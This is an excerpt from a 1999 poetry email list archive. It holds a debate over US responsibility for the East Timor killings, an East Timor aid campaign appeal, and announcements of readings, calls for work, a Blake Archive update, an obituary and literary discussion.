the proverbial "military, technical and economic aid" to the Indonesian

regime. This isn't a matter of having bought arms years ago, but one of receiving - until this week, and that only if Clinton's retraction is to taken at face value - ongoing direct support from the U.S. and other armaments-producing nations. Thus, while the machetes might be a domestic industry in Indonesia, the rifles, troop transport vehicles, paramilitary training, etc., most certainly are not. This aid has been continued under recent administrations with the rationalization that it's the Indonesian military itself that can be counted on to bring the militias back into line.
For the sheer ridiculousness of this claim, if one still needs it substantiated, one might turn to Alan Nairn's recent reports on Pacifica Radio, detailing the intimate relationship between the army and the militias. But other sources are many and well-documented. If you have web access, you might take a look at the East Timor Action Network's web site:
www.etan.org
2) The above would seem to have some bearing on your assertion that East Timor is attempting to "secede" from a legitimate national government - which is simply not the case. East Timor, as an Indonesian territory, is the
result of a forcible annexation sponsored by U.S. and other interests. Many
of the key figures in the initial "sponsorship" remain in positions of power
today. In other words, this is about as far from a quixotic attempt to rectify a distant and tragic "other-people's" history as you can get.
3) You ask: "We turned the other way on Savac we see now (sp?) in Iran, though our intelligence knew they were out of control, but did we do the same in Indonesia? And if we did, does this really account for the murdering we see now?" Yes. Absolutely. As I've pointed out, this isn't simply a case of turning the other way, but a direct outgrowth of deliberate
policies of military and economic support pursued by the U.S., Japan and other militarized nations. And although the point has now been reached at which the killings more than likely cannot be stopped without some sort of
direct intervention, the extreme probability was, until quite recently, that
the Indonesian regime simply could not have pursued its policies of aggression without the direct support of the U.S. and its allies - that, in
other words, the annexation itself would have been unfeasible and unsustainable without that aid. Until very recently, a cut-off of such support might have sufficed to avert the campaign of terror now being pursued. There is no "genocidal gene" - and such pseudo-explanations ("they're just nuts _over there_, who can understand their motivations?"),
I'd warrant, most often mark the site of a real and determinate chain of

events, the complicity of one's own nation in which is precisely what the resort to racialized typologies attempts to obscure.

-----Original Message-----
From: UB Poetics discussion group
[mailto:[redacted]]
On Behalf Of Michael Neff
Sent: Monday, September 13, 1999 10:15 AM
To: [redacted]
Subject: Re: I can't believe it!!!

Pete,

Before I write anyone, help me here, if you can. I'm not following this line of accusation. I need to be clear.

Since we've had involvement in Indonesia, it must be our fault that the Indonesian army and brother gangs are slaughtering people in churches, hacking them machetes? Did they get the machetes from America too? I suppose if their govt hadn't bought arms from us years ago then all would be peaceful? This sounds naive to the point of absurdity.

I see no connection with what you are saying and the psychotic rampage fest going on in Timor. You've noted that Kissinger, etc, visited Timor and then the slaughters began. Is there an association here? If so, can you link it for me? I don't see it from what you are saying.

Must we blame the American gov for it, are we compelled? There are those who believe the US govt manufactures tornadoes to chase them around and wreck their barns. I don't believe that either, but thousands are convinced.

And why should the US support Timor seceding when we didn't support South Carolina, and certainly don't support Quebec? Also, plenty of money we send overseas, in one form or another, gets redirected and wasted. Witness the diversion of funds by Russian mafia. We turned the other way on Savac (sp?) in

Iran, though our intelligence knew they were out of control, but did we do
the
same in Indonesia? And if we did, does this really account for the murdering
we see now?

I'm listening. Perhaps you can educate me, flow chart me, graph me, time line
me on just how Kissinger, or Clinton or Nixon or Ford or LaRouche or Moynihan or
Chuck Rob or whoever in any conspiratorial setting, ignited and guided the
genocidal gene that compels large groups of people to willfully set fires to
other large groups of people.

Until you do, I'm not writing anyone.

Mike

pete spence wrote:

please put this out to all mailartists for action. also send a protest
to: [redacted]
thanks pete spence

speak up and out about East Timor. It may also be just
as good
and probably easier to protest the American gov't for their ongoing role
in
the slaughter and oppression of the East Timorese. It was the American
Gov't. that paid for and supervised the original Indonesian invasion, and
the American gov't is trying hard to escape culpability with ambiguous
declarations (coming from such shits as Madeline Albright) about the chaotic
and oppressive state of affairs while also trying to take any potential
actions and tie them up in red tape. Such action clearly gives the
Indonesian gov't has a chance to tie up power once again while everyone

else
takes their time designating panels and working groups. Since a visit
by
Kissinger, Ford, and Scowcroft to Suharto in July 1975, the
Indonesian
government, using mostly US-made and US-paid-for weapons and military
intelligence support, has killed between 1/4 and 1/3 of the original
inhabitants. That's about 200,000-300,000 people. We're talking
concentration camps between 1975-1979. Paid for by US taxpayers.
Certain
people meant business when it all started 24 years ago; I don't think
they
mean any less harm now. If the US supported the democratic efforts
of
the
East Timorese none of this probably would have happened.

http://www.freetimor.com/

http://www.lbbs.org/ZNETTOPnoanimation.html

http://www.motherjones.com/east_timor/

http://www.etan.org/

regards,
Patrick Herron

so what the way i see it.. maybe better protest to the
indonesian government on the handling of the east timorese might be a
better
usage of your time; [redacted]

thanks pete spence

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> *==========*
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335. **George Bowering**
Re: bunting for a base hit...
Tue 21 Sep 1999

> *Was he there after 1946??? i thought he was only active in intelligence during the bigee (WWII), working against the nasty axis...*
>
> *But of course maybe that's only what i *wanted* to believe...*

He was a newspaper correspondent and a new groom in Persia from 1947 to 1950, then came home yet again.

George Bowering.

,

fax: [redacted]

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336. **George Bowering**
Re: Novels of the Sixties
Tue 21 Sep 1999

I want to make it clear that despite the strange arrangement below, I am not responsible for these words, and especially that execrable pun. And I would not call Burroughs Burrough!

GB

> *When I say depressing, I must admit it is out of a sense of self-deprecation. After reading the novel, I felt as if I had missed out on something, that I wasn't in the loop, so to speak. I had been told of this great novel and after reading it, I felt what was great about it? I could not put my finger on it. Of course, Burrough's prose is shitzophrenic and jargon-laced so I*

> *doubt I'm the only one who has had trouble with it.*
>
> *George Bowering.*
>
> *,*
>
> *>>*

George Bowering.

,

fax: [redacted]

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337. Jeffrey Jullich
Re: Novels of the Sixties -Reply
Tue 21 Sep 1999

Not to forget:

~A Nest of Ninnies,~ John Ashbery and James Schuyler .

Collaborative novels published as early as the '60's may really be the strongest harbingers of certain "authorial" prerogatives that have since quite come into question.

And I must check my bookshelf at home to be sure of the title and co-author(s) of that other great ('60's?) collab-novel,

~Antlers in the treetops~/~Antlers in the branches,~ Ron Padgett & ---

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338. anastasios kozaitis
Grassroots International East Timor Campaign
Tue 21 Sep 1999

ACT NOW FOR EAST TIMOR!
A Grassroots International campaign
<http://www.grassrootsonline.org>

Grassroots International announces the launch of ACT NOW FOR EAST TIMOR, a humanitarian aid and policy advocacy campaign in support of the people of East Timor and their aspiration for independence.

Since the August 30 referendum in favor of independence, hundreds of thousands of East Timorese have been brutally murdered or driven from their homes for their support of independence. A clear, firm U.S. policy based on the human rights of the Timorese people rather than U.S. economic and

geopolitical interests in Indonesia could have avoided this humanitarian disaster. The scale of the disaster and the nature of U.S. involvement in this situation demand that we respond. ACT NOW FOR EAST TIMOR will help the East Timorese reconstruct a society and construct a new, independent state.

The campaign will seek private funds from U.S. sources for an East Timor Relief and Reconstruction Fund. At first, the fund will prioritize aid to the up to 300,000 East Timorese people displaced by the violence within East Timor. If possible, it will also provide appropriate humanitarian assistance to refugees in camps in West Timor. Those camps are currently under Indonesian military control and the question of humanitarian access is far from settled. In any case, work with refugees must focus on creating the conditions for their eventual safe return to East Timor.

The brutality of the Indonesian military and its militias has left the organizations of the Timorese independence movement scattered, with many of their leaders assassinated or in exile. In the medium to long term, Grassroots International will provide aid to help Timorese social organizations regroup and resume the work of service to their communities.

In coordination with the East Timor Action Network (ETAN), the campaign will pursue a U.S. policy agenda designed to exert maximum pressure on Indonesia to end the orgy of violence and to withdraw its military forces from East Timor. To this end, campaign supporters will work to influence U.S. government policy and that of the International Monetary Fund and the World Bank. ACT NOW FOR EAST TIMOR will also join those who seek to ensure that an eventual international peacekeeping force does not in any way impede the realization of Timorese independence.

Grassroots International is a private human rights and development organization that supports movements for social change in Brazil, Eritrea, Haiti, Mexico and Palestine, and does advocacy and educational work in the United States. Current agency programs in Haiti and Eritrea began as responses to emergency situations in those countries.

For more information, or to get involved in this campaign, visit our website at <http://www.grassrootsonline.org>. You may also contact Grassroots International by phone at [redacted], or by e-mail at <mailto:[redacted]>.

Tax-deductible donations should be marked ACT NOW FOR EAST TIMOR and sent to: Grassroots International, ACT NOW FOR EAST TIMOR, 179 Boylston St., 4th Floor, Boston MA 02130, USA.

The press should speak directly with Campaign Coordinator, Sona Bari <mailto:[redacted]>.

Sona Bari, Campaign Coordinator
Martha Thompson, Program Coordinator for East Timor
Kevin Murray, Executive Director
Grassroots International
179 Boylston Street 4th floor
Boston MA 02130
USA
phone [redacted]
fax [redacted]
[redacted]
http://www.grassrootsonline.org

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339. Matt Kirschenbaum
Blake Archive's September Update
Tue 21 Sep 1999

---

20 September 1999

The William Blake Archive <http://www.iath.virginia.edu/blake> is pleased to announce the publication of new electronic editions of _The Book of Thel_ copy J and _Visions of the Daughters of Albion_ copy G.

The Book of Thel is dated 1789 by Blake on the title page, but the first plate (Thel's Motto) and the last (her descent into the netherworld) appear to have been completed and first printed in 1790, while Blake was working on _The Marriage of Heaven and Hell_. Copy J is from the first of three printings of _Thel_, during which Blake produced at least thirteen copies, printed in five different inks to diversify his stock. Copies from this press run were certainly on hand when Blake included the book in his advertisement "To the Public" of October 1793: "The Book of Thel, a Poem in Illuminated Printing. Quarto, with 6 designs, price 3s." Copy J joins copies in the Archive from the other two printings: copy F, printed and colored c. 1795, and copy O, printed and colored c. 1818. It also joins copy H, which is from the first printing, and, like copy J, is printed in green ink and lightly finished in watercolors. Copy J, however, was recolored when two of its questions ("Why a tender curb upon the youthful burning boy!/Why a little curtain of flesh on the bed of our desire?") on plate 8 were deleted. The lines were scraped away from the paper, apparently by Blake, since the washes over it--and those added to the other texts as well--are in his hand. This second tinting also included pen and ink outlining, the modeling of figures through the addition of complementary colors and shadows, and the over-painting of Thel's yellow dress with green on plate 6. Texts streaked in light yellows, pinks, and blues were characteristic of Blake's later coloring style

and suggests that the recoloring occurred around the time the work was sold, c. 1816.

This refinishing may have been undertaken to make the book more compatible with the dark hues of _Visions of the Daughters of Albion_ copy G, with which it appears to have been sold, and with which it was bound, probably by their original owner, c. 1816. In keeping with the poem's dark events and brooding mood, the hand coloring of _Visions_ copy G is impressively detailed and sombre. Rather than tinting the designs with semi-transparent washes in single hues, as in the first coloring session, Blake layered his colors to deepen the tones. This style shows the influence of color printing on Blake's hand coloring during the 1794-96 period. The techniques used for copy G even include some stipple-like effects imitating the reticulations caused by color printing. Washes were also added in text margins on plates 5, 7, 10, and 11, with a splendid sunrise bursting into the text on plate 3, as in late copies O and P. Copy G is unusual in other respects as well. The frontispiece and title page are placed sequentially, as in copies O and P, rather than facing each other, but uniquely with the title page coming first. This unconventional arrangement is confirmed by Blake's pen and ink plate numbers. He originally etched numbers 2-3, 5-7 in the top right corners of plates 5-6, 8-10, but all leaves in copy G are foliated in pen and ink in a single sequence, 1-11, with the new numbers written over the old on plates 5-6, 8-9.

Copy G was printed and colored c. 1795 as part of a set of illuminated books printed on large paper and joins other works from that set now in the Archive (_The Book of Thel_ copy F, _The Marriage of Heaven and Hell_ copy D, _There is No Natural Religion_ copy L, _All Religions are One_ copy A, and _America, a Prophecy_ copy A) and forthcoming (_The First Book of Urizen_ copy B and _Europe, a Prophecy_ copy H). It also joins copies of _Visions_ in the Archive from other printings: copies C and J, different issues from the first printing of 1793, and copy F, color printed c. 1794. Copy P, an exemplary copy from the fourth and final printing of c. 1818, is forthcoming.

In Blake's advertisement, _Visions_ was described as "Folio, with 8 designs, price 7s.6d." Copy G, though, was trimmed to quarto size when bound with _Thel_ copy J. Both works are now in the Houghton Library, Harvard University, Cambridge, Massachusetts.

The electronic editions have newly edited SGML-encoded texts and new images scanned and color-corrected from first-generation 8x10" transparencies; they are each fully searchable for both text and images and supported by the Inote and ImageSizer applications described in our previous updates.

With the publication of these two titles, the Archive now contains 37 copies of 18 separate books, including at least one copy of every one of Blake's works in illuminated printing except the 100 plates of _Jerusalem_ (forthcoming).

Morris Eaves, Robert N. Essick, and Joseph Viscomi, editors
Matthew G. Kirschenbaum, Technical Editor
The William Blake Archive

↑ Index

340. Brian Stefans
Steve Evans' Notes to Poetry on Arras
Tue 21 Sep 1999

Steve Evans's on-going critical project of reviews and commentary

NOTES TO POETRY

are now being archived on the Arras web-site.

http://www.bway.net/~arras

==========

"As bracing as the candid expressions of
righteous (and often politically astute)
hatred are, invective is finally less
central to the book than eros and elegy.
The 'whole love that is' plays the
deeper part in shaping the life/work:
love of people--father and brother,
mother, friends, husband Ted Berrigan
and sons, second husband Doug Oliver
--love also of poetry ('life's condition...
so common hardly anyone / can find it'),
and of the 'small houses' of Needles, New
York, Iowa, Chicago, and Paris. As the
work's memory arc intersects its
compositional present, Notley remains
true to her thesis that 'experience is a
hoax.' While she draws no smug
maturational conclusions, she does
offer the collected intensities of a
tradition that she--like Pound in this if
no other regard--has 'gathered from the
live air.'

-- SE on Alice Notley

==========

New work by Jacques Debrot and Dirk Rowntree should be
available on the Arras web-site shortly.

↑ Index

341. Lowther, John
a certain class of volumes
Tue 21 Sep 1999

{ poetix }

derek b mentions drucker's _alphabetic labyrinth_ in connection with my praises of _imagining language_ and i'd meant to ask about that one too ----- it's appeared at a bookstore here in atlanta but is sealed in plastic and i've not yet broken into it ----- i saw a review some time ago that made it sound like something i wd need to have

it also makes sense to me to imagine a class of books into which things like drucker's volume (i think) and _imagining language_ and rothenberg's anthologies fits into ----- one which might also allow for books like _the cambridge encyclopedia of the english language_ and their other one _the cam.ency.of language_ (granted theyre not quite as exciting) ----- perhaps one cd argue that u.eco's book, i'm no longer sure of the title... _search for the perfect language_ ?? might belong as well tho i must admit that i cdnt finish reading it and unlike the others above it does fill me with obscure and specific joys at every opening

it occurs ot me to ask whether this tentative class i've proposed suggest to anyone other books wich belong in it somehow ? as if it does, the books suggested wd be other i'd wish to know about

)L

↑ Index

342. A H Bramhall
getting ready to have been frightened
Tue 21 Sep 1999

FORM IS AN EXTENSION OF CONTENT, hmm, catchy. this list has limitations, if you haven't noticed. dialogue and dialectic work with difficulty in this daily digest medium. or not all, frankly. people have their say here as if currency value existed in that. whatever people are doing in their real lives, on this playground it's hard to differentiate between the noises. just as an observation.

when Kevin Magee posted here, I saw something powerful and authentic. no crap: his every articulation contained his politics, his song, his almost obsessive scholarship. to me his work is a lesson in poetics. and his poetics are political not simply by subject matter but because he lives them both simultaneously. I find that kind of commitment wonderfully admirable. pounding opinions back and forth in this sluggish medium, however -- content as an extension of form/forum -- proves that agitation too can be a commodity. maybe it's time for a re-tooling.

↑ Index

343. Catherine Daly

Peirce poemlet

Tue 21 Sep 1999

I guess I'm not supposed to send formatted messages to the list?

I have had the good fortune to read Brent's bio of C.S. Peirce b/w his writings & Susan Howe's _Pierce-Arrow_ (b/w a "popularizing" logic text by a friend, John Gregg, called _Ones and Zeros: Understanding Boolean Algebra, Digital Circuits, and the Logic of Sets_; he is the one who told me to read Peirce).

Anyhow, this is a poem Peirce wrote. The bio says he's quoting Emerson, but I think he's quoting Isaac Watts' _Against Idleness and Mischief_.

That man and I have a splendid idea
how doth the little busy bee
Improve each shining hour
So fast eternity comes on.
And that delightful day.
When all mortal hands have done.
God's judgement shall survey.

from _Charles Sanders Peirce: A Life_, by Joseph Brent (Indiana University Press, 1993)

Rgds,
Catherine Daly
[redacted]

↑ Index

344. **charssmith**
M. C. Richards
Tue 21 Sep 1999

Sad news again. The obituary is copied below. Not mentioned is that she was a founding editor of the Black Mountain Review, & in 1958 published w/ Grove Press a translation of Artaud's _Theatre & Its Double_.

--Charles Smith

_____

M.C. Richards
New York Times
Tuesday, September 21, 99
©1999 San Francisco Chronicle

URL:
http://www.sfgate.com/cgi-bin/article.cgi?file=/chronicle/archive/1999/09/21/MN28873.DTL

M.C. Richards, a poet, potter, essayist, translator and painter who taught at Black Mountain College in the late 1940s and thereafter became an impassioned advocate of community in both art and life, died September 17. She was 83.

An artist who wrote poems about pottery and made pots inspired by her reading, Ms. Richards was perhaps best known for ``Centering in Pottery, Poetry and the Person,'' a book of essays published in the middle of the tumultuous 1960s that was impressive for its synthesis of thought, plain speech and incantatory momentum. The book, which became an underground classic, pulled together ideas about perception, craft, education, creativity, religion and spirituality, arguing for the richness of daily experience if carefully attended to, and the creativity of the average person. ``Poets are not the only poets,'' Ms. Richards wrote.

Mary Caroline Richards was born in Weiser, Idaho, in 1916 and reared in Portland, Ore. She earned a bachelor's degree in literature and languages from Reed College in 1937, with a thesis titled ``Poetry of the Tang Dynasty in Relation to Western Imagism.'' She went on to the University of California at Berkeley, where she studied Chinese and wrote her Ph.D. dissertation on irony in Thomas Hardy in 1942. She then began a brief marriage, and taugh English at the Central Washington College of Education in Ellensburg, Wash., and at the University of Chicago. But she found academic life stifling.

In 1945, she married Albert William Levi Jr. Her second husband, a social scientist, was invited that year to join the faculty of the experimental Black Mountain College, near Asheville, N.C. Black Mountain was a short-lived laboratory

for innovative teaching and art whose faculty and students included Josef and Anni Albers, John Cage, Merce Cunningham, David Tudor, Robert Rauschenberg and Charles Olson.

At Black Mountain, Ms. Richards taught writing, produced and, when necessary, translated plays by Cocteau, Satie and Yeats. She also danced and studied pottery with Robert Turner. Around 1950, she participated in what might have been the first ``happening,'' with Cage, Olson, Rauschenberg and Franz Kline. In 1951, she separated from her husband, whom she later divorced, and in 1952, she went to New York with Tudor.

In 1954, Ms. Richards, Tudor and Cage, along with Paul Williams, an architect, and Karen Karnes, a potter, who had both also been at Black Mountain, established a commune called the Land near Stony Point, N.Y. Ms. Richards lived there for a decade, working in a studio with Ms. Karnes; they developed a form of flameproof clay that enabled them to make ceramic cookware.

Ms. Richards began giving pottery workshops in the early 1960s. Reflecting the ideas that would figure in ``Centering,'' these became increasingly interdisciplinary, with titles like ``Clay and Words,'' ``Clay and Movement'' and ``Clay and Eurythmy.'' She lectured and taught workshops at schools in the United States, Canada and Britain. Her longest teaching affiliation, from 1986 until her death, was with the University of Creation Spirituality, established in Oakland by Matthew Fox, a Dominican priest.

Ms. Richards' books, which often mixed prose and poetry, included ``The Crossing Point'' (1973), ``Opening Our Moral Eye'' (1996), ``Imagine Inventing Yellow'' (1991) and ``Toward Wholeness: Rudolf Steiner Education in America,'' a work of social philosophy. The Camphill Village agricultural community in Kimberton, where Ms. Richards had lived since 1984 and where she died, is one of 80 Camphills worldwide based on Steiner's teachings.

In 1989, Ms. Richards, who has no survivors, added painting to her roster of activities. She then exhibited ceramics, poems and paintings together, most recently at the Works Gallery in Philadelphia in 1997. The Worcester Center for Crafts in Massachusetts is organizing a retrospective of her work that is to open October 9 with a public memorial.

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345. Dan Waber
Re: listings ?
Tue 21 Sep 1999

At 04:01 PM 9/16/99 -0400,)ohn Lowther wrote:
>contrary to what we've been told i heard a rumor that the revolution will in
>fact be televised but as yet the tv guide hasnt announced it and i cant find
>out anything more

"The revolution WILL be televised, but you'll only be able to understand it
if you don't watch the television coverage."
Russ Nelson

> *or know what the website is*

Well, www.therevolution.com is a Julian Lennon site, www.therevolution.org is has been purchased, but is not up in any way shape or form (very strange), and www.therevolution.net is definitely up to something (witness: "Coming soon: Revolution Lite, with 104% fewer calories") There's something awfully mysterious about www.revolution.com, whereas www.revolution.org automatically redirects you to Yahoo! (maybe they know?), and www.revolution.net is a private health care company.

Any other news on this rumor would be greatly appreciated (I want to have time to stock up on film, ammo, chocolate, coffee, and tobacco).

Dan

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346. James Brook
italian poetry & LA writing at city lights
Tue 21 Sep 1999

Two events of possible interest at City Lights Bookstore
in San Francisco. Tonight (Tuesday, Sept. 21) is a book
release party for Promised Land: Italian Poetry After
1975 (Sun & Moon) and Thursday night there's L.A. Exile: A Guide
to Los Angeles Writing 1932-1998 (Marsilio). Paul Vangelisti
is coeditor on both books, and he and others will be in
attendance.

This Week
@
City Lights Bookstore

City Lights Bookstore
261 Columbus Avenue
San Francisco, CA 94133
[redacted]
http://www.citylights.com

Tuesday, Sept. 21, 7 p.m.

Promised Land: Italian Poetry After 1975
Edited by Luigi Ballerini, Beppe Cavatora, Elena Coda, and Paul Vangelisti
A Bilingual Edition
Published by Sun & Moon Classics

The Istituto Italiano di Cultura and City Lights Books are pleased to present a reading and celebration of this delightful, comprehensive anthology of late-twentieth-century Italian poetry.

Several of the authors will be in attendance. Please join us for this special event!

Thursday, Sept. 23, 7 p.m.

L.A. Exile: A Guide to Los Angeles Writing 1932-1998
Edited by Paul Vangelisti and Evan Calbi
Published by Marsilio Press

A curious literature of exile: the writers of this anthology came from Europe, other parts of the United States, and disparate and invisible parts of California. Along with the familiar figures of prewar, exotic Hollywood, such as Raymond Chandler, F. Scott Fitzgerald, Aldous Huxley, and Thomas Mann, L.A. Exile offers a look at the successive generations who have addressed a different, ever-shifting, essentially boundless and absent metropolis.

Paul Vangelisti will speak and sign copies of L.A. Exile.

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347. **Sarah Hreha**
Call for Papers
Tue 21 Sep 1999

PLEASE FORWARD TO ANYONE WHO MIGHT BE INTERESTED.

CALL FOR PAPERS
"From Miniatures to Movies:
Texts and Represntations"

University of Minnesota
Fourth Annual
Graduate Symposium
in Romance Studies

MARCH 4, 2000

An Interdisciplinary Forum

Featuring Plenary SPeaker:
Prof. Caoline Jewers
"Pageant-Wagons, Perestroika, and the Angel of History"

We seek papers related to Romance Studies and concerning texts and representations, including but not limited to:

art of description / drama studies / film studies / emblem studies / ekphrasis / cybertext / the medieval book / books and illustrations / authors as critics

We request that you submit an anonymous abstract of 500 words in English, accompanied by a 3X5 index card with the following information: title of paper, name, academic affiliation, address, telephone number, and e-mail address. NOTE: Papers MUST be written in ENGLISH. Please translate quotes within the paper itself or in a hand-out.

DEADLINE FOR SUBMISSIONS: NOVEMBER 30, 1999

Please send abstract to:

Catherine Pulling
Department of French & Italian
University of Minnesota
9 Pleasant Street SE
Minneapolis, MN 55455

Submission of an abstract implies a commitment to attend the Symposium. Completed papers should arrive no later than February 11, 2000. Reading time will be limited to 20 minutes.

Steering Committee: Stephanie Lohse (Chair), Sarah Buchanan, Caryn Connelly, Madeleine Craig, Sarah-Grace Heller, Sarah Hreha, Joshua Lund, Catherine Pulling, Daniel Quinn.

This document is available via WWW at:
http://www.folwell.umn.edu/span_port/gradsymp.html
Alternate formats are available upon request.
To request these or other disability accomodations, please contact
Stephanie Lohse, at the the above address, phone [redacted], E-mail:
[redacted]

A. Sarah Hreha
Assistant Editor
Hispanic Issues
Dept. of Spanish and Portuguese
University of Minnesota
Officer, Students for Cuba
Co-Chair, Tone Scientists
E-mail: [redacted]
http://www.tc.umn.edu/~hreh0001

Don't miss Assif Tsahar & Susie Ibarra
Thursday, Oct. 14, 1999 - 7:30-10:30 pm
the WHOLE music club - FREE -

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348. daniel bouchard
POETRY READING IN GLOUCESTER, MASS.
Tue 21 Sep 1999

POETRY READING IN GLOUCESTER, MASS.

ART SPACE

1 Center Street

3rd floor

Gloucester, MA

[redacted]

coffeehouse starts at 8 PM

donations accepted but not necessary

poetry necessary, but accepted?

open mike before featured reader

coffee & cookies (unspecified kind) served

featured reader: Daniel Bouchard

introduced by Gerrit Lansing

"Perhaps the most important event in American poetry

to occur on Center Street in Gloucester on this particular night."

--an esteemed critic

come early for the cookies, stay late for the poetry.

<<<<<<<<<<<<>>>>>>>>>>>>>>>>>

Daniel Bouchard

The MIT Press Journals

Five Cambridge Center

Cambridge, MA 02142

[redacted]

phone: [redacted]

fax: [redacted]

> <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

↑ Index

349. Jacques Debrot

Re: 9-0 call for work

Tue 21 Sep 1999

CALL FOR WORK

Nine to Zero is looking for a poetry ms of between 10-15 pp to appear as the third issue of the magazine.

The deadline for this issue is Nov 1st. _Nine to Zero_ is not accepting submissions for other issues at this time. Please send with SASE to:

Jacques Debrot
49 Old Meetinghouse Green
Norton MA 02766

↑ Index

350. Billy Little
baraka/blues for allen
Tue 21 Sep 1999

found this at the blacklisted journalist:

http://www.bigmagic.com/pages/blackj/column35.html

aronowicz is a bit of a loose canon

he's got twenty pages, following hard on the heels of the single page of Amiri Baraka, recounting the unveiling of Ginsbergs tombstone, aronowicz has a lot of anger and some of it directed at Allen, my guess is he's angry with allen for dying before they got a chance to kiss and make up

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy
[redacted]
zonko

↑ Index

351. Hazel Smith
(no subject)
Wed 22 Sep 1999

If any of you have students who want to travel, they might be interested in our new MA in Creative Writing which will be biased towards experimental writing and will be run by myself and Anne Brewster in Sydney at the University of New South Wales. They can find details on the School of English, University of New South Wales website at www.arts.unsw.edu.au/english, or they can get application forms from the School of English, University of New South Wales, Sydney, NSW 2052. The email address is [redacted]. Alternately they can contact me!!

Hazel

Hazel Smith

School of English
University of New South Wales
Sydney 2052

Dr.Hazel Smith
Senior lecturer
School of English

University of New South Wales
Sydney 2052

↑ Index

352. Stephen Ellis
Re: Grenier :that:
Wed 22 Sep 1999

There are still available twenty issues of :that:, vol. II no. 1, comprising a talk given by Bob Grenier in Franconia, NH in 1993. 16 pp., color repro covers of work from Grenier's series < r h y m m s >. $10 ea. Orders by post only at below address; email enquiries for further details okay. Stephen Ellis 23 Mitton Street Portland, ME 04102

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

353. Michael Neff
The POETRY INTO FILM Competition
Wed 22 Sep 1999

Announcing the first ever POETRY INTO FILM competition sponsored by Web Del Sol, a co-sponsor of the First Annual Literary Arts Film Awards to be held in New York city at the National Arts Club. Time and date to be announced. On September 30, 1999, entries will be accepted. Competition will close on January 30, 2000.

More information and guidelines at http://webdelsol.com/solhome.htm

A panel of judges will choose the best poems and pass their recommendations to the filmmakers. Another panel of judges will choose the best films at the event. Poems made into film will be screened at the awards ceremony which will be very well attended by the literary arts and film community. Poets will be present to discuss their work and vision. The films will later be formatted into a format for display on the web and screenings on independent film websites. A collection in DVD format is planned also.

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354. **Jordan Davis**
BIVOUAC #2 call for work
Wed 22 Sep 1999

BIVOUAC
the magazine of the Subpress Collective
is seeking work for its Winter 1999 Practical Political Action issue

the editor for this issue is Jordan Davis

and the address is:

Bivouac
c/o Jordan Davis
720 Fort Washington Ave Apt 2F
New York NY 10040

Please hurry .. deadline is October 5

↑ Index

355. **Jacques Debrot**
Re: Reviews
Wed 22 Sep 1999

Brian, thanks for posting your reviews to the List, it's something more of us should do perhaps with things we are not likely, or inclined, to place elsewhere.

I haven't read the Harryman you discuss but I just recently got through VICE, ROSE, and MEMORY PLAY. I've also written some things lately under her influence--something like having a bad flu & then getting over it--though by this I don't mean to criticize her work, but my own emulative experiments. But I feel that as a result I know her work, in a way, from the inside that I wouldn't otherwise. I suppose her writing is fascinating to me partly to the degree to which it subverts attempts to arrive at some kind of judgement of it. I'm particularly interested in the kind of absolutely flat or Zero degree writing of hers that is most prevalent perhaps in VICE. To describe it in shorthand, it is almost analogous to the visual work that came out of COBRA, or early Polke --though your own analogy to the Futurists is suggestive. Some of Watten's own best work in my opinion are the Harryman riffs he does in CONDUIT--"On Barnaby Jones" for instance. & --here's a stretch--your own "Pretentious Picturea" is not too far off the aesthetic of Zero degree--PP is the closest thing to a Twombly that I have ever read actually . & Luoma's prose in WORKS & DAYS too--esp in say the terrific "Auto Gobbler"--though it is quite different of course from most of Harryman's stuff--does bear a similar genetic relationship to the zero degree. (Interestingly Harryman's name is brought up by Luoma & then dismissed as an influence in W&D.) Anyway, forgive the free-association, I'm fumbling a lot of

remarks into the air without any attempt at synthesizing them, but I will perhaps follow this up with another post. Just as afterthought--it interested me to see the extent to which your Harryman review seemed in a way just as appropriate--or even more so-- to Scalapino's writing, say in DEFOE.

--jacques

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356. daniel bouchard
POETRY READING IN GLOUCESTER, MASS. (with date)
Wed 22 Sep 1999

[[[[[[DATE: Thursday, September 23]]]]]]

POETRY READING IN GLOUCESTER, MASS.

ART SPACE

1 Center Street

3rd floor

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coffeehouse starts at 8 PM

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poetry necessary, but accepted?

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coffee & cookies (unspecified kind) served

featured reader: Daniel Bouchard

introduced by Gerrit Lansing

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--an esteemed critic

come early for the cookies, stay late for the poetry.

<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>

Daniel Bouchard

The MIT Press Journals

Five Cambridge Center

Cambridge, MA 02142

[redacted]

phone: [redacted]

fax: [redacted]

> <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

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357. Jacques Debrot
Re: Pretentious Picturea
Wed 22 Sep 1999

Forgive the seemingly endless analogising, but actually PP is a lot more like the Warhol/Basquiat collaborations: popster vs graffiti artist. Brian I assume your motivation was mostly derogatory (?) but I will maintain PERVERSELY that it is among the most successful Ashbery collaborations.

--jacques

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358. Chicago Review
Tom Pickard
Wed 22 Sep 1999

The British poet Tom Pickard will be reading in Huntington, West Virginia, on March 30th, and is trying to schedule some other readings--near or far--for the first two weeks of April.

For those unfamiliar with Pickard, his poetry is delightful: I highly recommend TIEPIN EROS (Bloodaxe Books), his selected poems. He has been an important figure in British poetry for quite a while, and has a new volume that will soon be out entitled FUCKWIND.

Please e-mail me if you have interest and resources to schedule a reading.

Thanks,
Devin Johnston

^^^^^^^^^^^^^^^

Check out our new website!
http://humanities.uchicago.edu/review

Chicago Review
5801 S. Kenwood Ave.
Chicago IL 60637

↑ Index

359. Brian Stefans
Things
Wed 22 Sep 1999

Yes, I confess the Perelman view was very off, and the Harryman shrill and imprecise. I may be able to argue that I don't seem to have the leisure time to think things through as thoroughly as I'd like, but then again I'm impatient, and sometimes precision seems dull to me, even if the promise at the end is some degree of "profoundity." But I don't see anyone else, except perhaps Lowther at this point, writing about books on this list, unless it's to demonstrate some bibliographic skill that, in the end, is rather uninspiring, or if it's to pounce on some third party for a salty phrase which, in the end, turns out to be a partisan dispute regarding reputations rather than text (the author of the review not being available to offer counter-arguments -- whereas I am). Not to be so glum and down -- or reductive -- but I don't quite know what this list is for. It seems even a bad review could garner some degree of thoughtful consideration from those who at least feel the urge to make jibes -- is that worth the effort? Who's impressed? I realize that we're dealing with several geographic areas that have their own mores which can be considered essential to them -- i.e. one person's salty phrase is another's version of downright condemnation -- but is there any way to break through that, not with an ax but with subtlety?

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360. Maria Damon
Re: SF Book Festival Panel Discussions
Wed 22 Sep 1999

Tisa this looks positively dreamy; any chance of a video or audio taping?

